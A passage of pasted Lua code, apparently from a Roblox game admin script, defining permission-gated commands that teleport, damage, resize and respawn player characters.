- event:FireClient(plr,f.uiD..'UNVIBRATE')
- end
- end)
- f.addCommand({'tp','teleport','tele'},{'Teleports a player to a player.',s.set.Prefix..'tp kohl me'},3,{'player','player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Torso')) or not (args[2][1] and args[2][1].Character) then return end
- plr.Character.Torso.CFrame = CFrame.new(args[2][1].Character.Torso.Position+Vector3.new(math.random(-50,50),0,math.random(-50,50))/10)
- end
- end)
- f.addCommand({'damage','dmg'},{'Damages a player.',s.set.Prefix..'damage kohl 5'},3,{'player','number'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Humanoid')) then return end
- plr.Character.Humanoid:TakeDamage(args[2])
- end
- end)
- f.addCommand({'resize','size'},{'Resizes a player.',s.set.Prefix..'resize kohl 5'},3,{'player','number'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Torso') and plr.Character:findFirstChild('HumanoidRootPart')) then return end
- local ags = {c = plr.Character, t = plr.Character.Torso, r = plr.Character.HumanoidRootPart}
- ags.t.Anchored = true ags.t.BottomSurface = 0 ags.t.TopSurface = 0
- local welds = {}
- for i2,v2 in pairs(ags.c:children()) do
- if v2:IsA('BasePart') then v2.Anchored = true
- elseif v2:IsA('Pants') or v2:IsA('Shirt') then v2.Parent = ags.t
- end
- end
- local function size(p)
- for i2,v2 in pairs(p:children()) do
- if v2:IsA('Weld') or v2:IsA('Motor') or v2:IsA('Motor6D') then
- local p1 = v2.Part1 p1.Anchored = true v2.Part1 = nil
- local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C0:components() v2.C0 = CFrame.new(r1*args[2],r2*args[2],r3*args[2],r4,r5,r6,r7,r8,r9,r10,r11,r12)
- local r1,r2,r3,r4,r5,r6,r7,r8,r9,r10,r11,r12 = v2.C1:components() v2.C1 = CFrame.new(r1*args[2],r2*args[2],r3*args[2],r4,r5,r6,r7,r8,r9,r10,r11,r12)
- if p1 ~= ags.c:findFirstChild('Head') and p1 ~= ags.t then
- p1.formFactor = 3
- p1.Size = p1.Size*args[2]
- elseif p1 ~= ags.t then
- p1.Anchored = true
- for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = nil v3.Part1.Anchored = true end end
- p1.formFactor = 3 p1.Size = p1.Size*args[2]
- for i3,v3 in pairs(p1:children()) do if v3:IsA('Weld') then v3.Part0 = p1 v3.Part1.Anchored = false end end
- end
- if v2.Parent == ags.t then p1.BottomSurface = 0 p1.TopSurface = 0 end
- p1.Anchored = false
- v2.Part1 = p1
- if v2.Part0 == ags.t then table.insert(welds,v2) p1.Anchored = true v2.Part0 = nil end
- elseif v2:IsA('CharacterMesh') then
- local bp = tostring(v2.BodyPart):match('%w+.%w+.(%w+)')
- local msh = Instance.new('SpecialMesh')
- if bp and ags.c:findFirstChild(bp) then msh.Parent = ags.c:findFirstChild(bp) end
- msh.MeshId = 'http://www.roblox.com/asset/?id='..v2.MeshId
- if v2.BaseTextureId ~= 0 or v2.BaseTextureId ~= '0' then msh.TextureId = 'http://www.roblox.com/asset/?id='..v2.BaseTextureId end
- msh.Scale = msh.Scale*args[2] v2:Destroy()
- elseif v2:IsA('SpecialMesh') and v2.Parent.Name ~= 'Head' then v2.Scale = v2.Scale*args[2]
- end size(v2)
- end
- end
- size(ags.c)
- ags.t.formFactor = 3
- ags.t.Size = ags.t.Size*args[2]
- for i2,v2 in pairs(welds) do v2.Part0 = ags.t v2.Part1.Anchored = false end
- for i2,v2 in pairs(ags.c:children()) do if v2:IsA('BasePart') then v2.Anchored = false end end
- local weld = Instance.new('Weld',ags.r) weld.Part0 = ags.r weld.Part1 = ags.t if ags.t.Size.Y*(5/2) <= 1.3 then weld.C0 = CFrame.new(0,-1.3+(ags.t.Size.Y*(3/2)),0) end
- end
- end)
- f.addCommand({'refresh','re','unresize','unsize'},{'Refreshes a player.',s.set.Prefix..'refresh kohl'},3,{'player'},function(pl,args)
- for i,plr in pairs(args[1]) do if not (plr and plr.Character and plr.Character:findFirstChild('Torso')) then return end
- local cf = plr.Character:findFirstChild('Torso').CFrame
- event:FireClient(plr,f.uiD..'REFRESH')
- plr.Character:WaitForChild('KREFRESH')
- plr:LoadCharacter()
- plr.Character:WaitForChild('Torso')
- plr.Character.Torso.CFrame = cf
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement